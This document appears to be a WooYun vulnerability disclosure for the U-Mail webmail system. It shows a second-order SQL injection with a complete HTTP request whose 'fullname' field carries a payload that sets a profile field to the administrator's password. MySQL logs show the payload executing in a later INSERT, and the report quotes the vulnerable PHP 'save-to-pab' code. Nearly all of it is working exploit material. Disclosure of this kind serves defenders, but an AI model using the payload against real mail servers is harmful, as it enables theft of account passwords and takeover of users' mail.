WooYun.org

POST /webmail/client/option/index.php?module=operate&action=userinfo&return=%2Fwebmail%2Fclient%2Foption%2Findex.php%3Fmodule%3Dview%26action%3Duserinfo HTTP/1.1


Host: **.**.**.**


Proxy-Connection: keep-alive


Content-Length: 195


Cache-Control: max-age=0


Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8


Origin: http://**.**.**.**


User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.132 Safari/537.36


Content-Type: application/x-www-form-urlencoded


Referer: http://**.**.**.**/webmail/client/option/index.php?module=view&action=userinfo


Accept-Encoding: gzip, deflate


Accept-Language: zh-CN,zh;q=0.8


Cookie: login=system%2Czh; PHPSESSID=92d69b792d29c6c15915ddd4bcc401a5


fullname=%27%2C%60homepage%60%3D%28SELECT+password+from+userlist+where+userid%3D2%29--+-+&englishname=&gender=0&bd_year=0000&bd_month=00&bd_day=00&mobile=&tel=&extnum=&im=&o_group=&worknum=&memo=

160123  0:02:39	  623 Connect	umail@localhost on 


		  623 Query	SET NAMES 'UTF8'


		  623 Init DB	umail


		  623 Query	UPDATE userlist SET `FullName`='\',`homepage`=(SELECT password from userlist where userid=2)-- -',`EnglishName`='' WHERE UserID='5'


		  623 Query	UPDATE mailuserinfo SET `sex`='0',`birthday`='0000-00-00',`mobil`='',`teleextension`='',`extnum`='',`qqmsn`='',`worknum`='',`memo`='',`o_group`='' WHERE UserID='5'


		  623 Quit

160123  0:06:47	  629 Connect	umail@localhost on 


		  629 Query	SET NAMES 'UTF8'


		  629 Init DB	umail


		  629 Query	SELECT t1.UserID,t1.Mailbox,t1.FullName,t1.EnglishName,t2.*


				FROM userlist as t1, mailuserinfo as t2


				WHERE t1.DomainID='1' AND t1.UserID>2 AND t1.UserID=t2.UserID AND t2.is_hidden=0 AND t1.UserID IN (5)


				ORDER BY t1.OrderNo DESC,t1.Mailbox ASC


		  629 Query	SELECT t1.UserID,t1.Mailbox,t1.FullName,t1.EnglishName,t2.*


				FROM userlist as t1, mailuserinfo as t2


				WHERE t1.DomainID='1' AND t1.UserID>2 AND t1.UserID=t2.UserID AND t2.is_hidden=0 AND t1.UserID IN (5)


				ORDER BY t1.OrderNo DESC,t1.Mailbox ASC


		  629 Query	SELECT contact_id FROM pab_contact WHERE user_id='5' AND pref_email='whoami003@**.**.**.**' LIMIT 1


		  629 Query	INSERT INTO pab_contact SET `user_id`='5',`fullname`='',`homepage`=(SELECT password from userlist where userid=2)-- -',`pref_email`='whoami003@**.**.**.**',`pref_tel`='',`birthday`='0000-00-00',`im_qq`='',`im_msn`='',`updated`='2016-01-23 00:06:47'


		  629 Quit

if ( ACTION == "save-to-pab" )


{


		include_once( LIB_PATH."PAB.php" );


		$PAB = PAB::getinstance( );


		$maillist_id = gss( $_GET['maillist'] );


		if ( $maillist_id )


		{


				$member_all = $Maillist->getMemberByMaillistID( $maillist_id, "Mailbox,FullName", 0 );


				if ( !$member_all )


				{


						dump_json( array( "status" => TRUE, "message" => "" ) );


				}


				foreach ( $member_all as $member )


				{


						if ( !$PAB->getContactByMail( $user_id, $member['Mailbox'], "contact_id", 0 ) )


						{


								$data = array(


										"user_id" => $user_id,


										"fullname" => $member['FullName'],


										"pref_email" => $member['Mailbox'],


										"updated" => date( "Y-m-d H:i:s" )


								);


								$res = $PAB->add_contact( $data, 0 );


								if ( !$res )


								{


										dump_json( array(


												"status" => FALSE,


												"message" => el( "添加联系人时发生错误，添加失败！", "" )


										) );


								}


						}


				}


		}


		else


		{


				$user_ids = gss( $_GET['userlist'] );


				$user_ids = id_list_filter( $user_ids );


				if ( !$user_ids )


				{


						dump_msg( "param_error", el( "参数错误！", "" ) );


				}


				$where = "t1.UserID IN (".$user_ids.")";


				$arr_tmp = $Mailbox->getMailboxInfo( $domain_id, $where, "", "", "", "", 0 );


				$user_all = $arr_tmp['data'];


				if ( !$user_all )


				{


						dump_json( array( "status" => TRUE, "message" => "" ) );


				}


				foreach ( $user_all as $user )


				{


						$qq = $msn = "";


						if ( strpos( $user['qqmsn'], "@" ) )


						{


								$msn = $user['qqmsn'];


						}


						else


						{


								$qq = $user['qqmsn'];


						}


						if ( !$PAB->getContactByMail( $user_id, $user['email'], "contact_id", 0 ) )


						{


								$data = array(


										"user_id" => $user_id,


										"fullname" => $user['FullName'],//出库


										"pref_email" => $user['email'],


										"pref_tel" => $user['teleextension'] ? $user['teleextension'] : $user['mobil'],


										"birthday" => $user['birthday'],


										"im_qq" => $qq,


										"im_msn" => $msn,


										"updated" => date( "Y-m-d H:i:s" )


								);


								$res = $PAB->add_contact( $data, 0 );//入库


								if ( !$res )


								{


										dump_json( array(


												"status" => FALSE,


												"message" => el( "添加联系人时发生错误，添加失败！", "" )


										) );


								}


						}


				}


		}


		dump_json( array( "status" => TRUE, "message" => "" ) );


}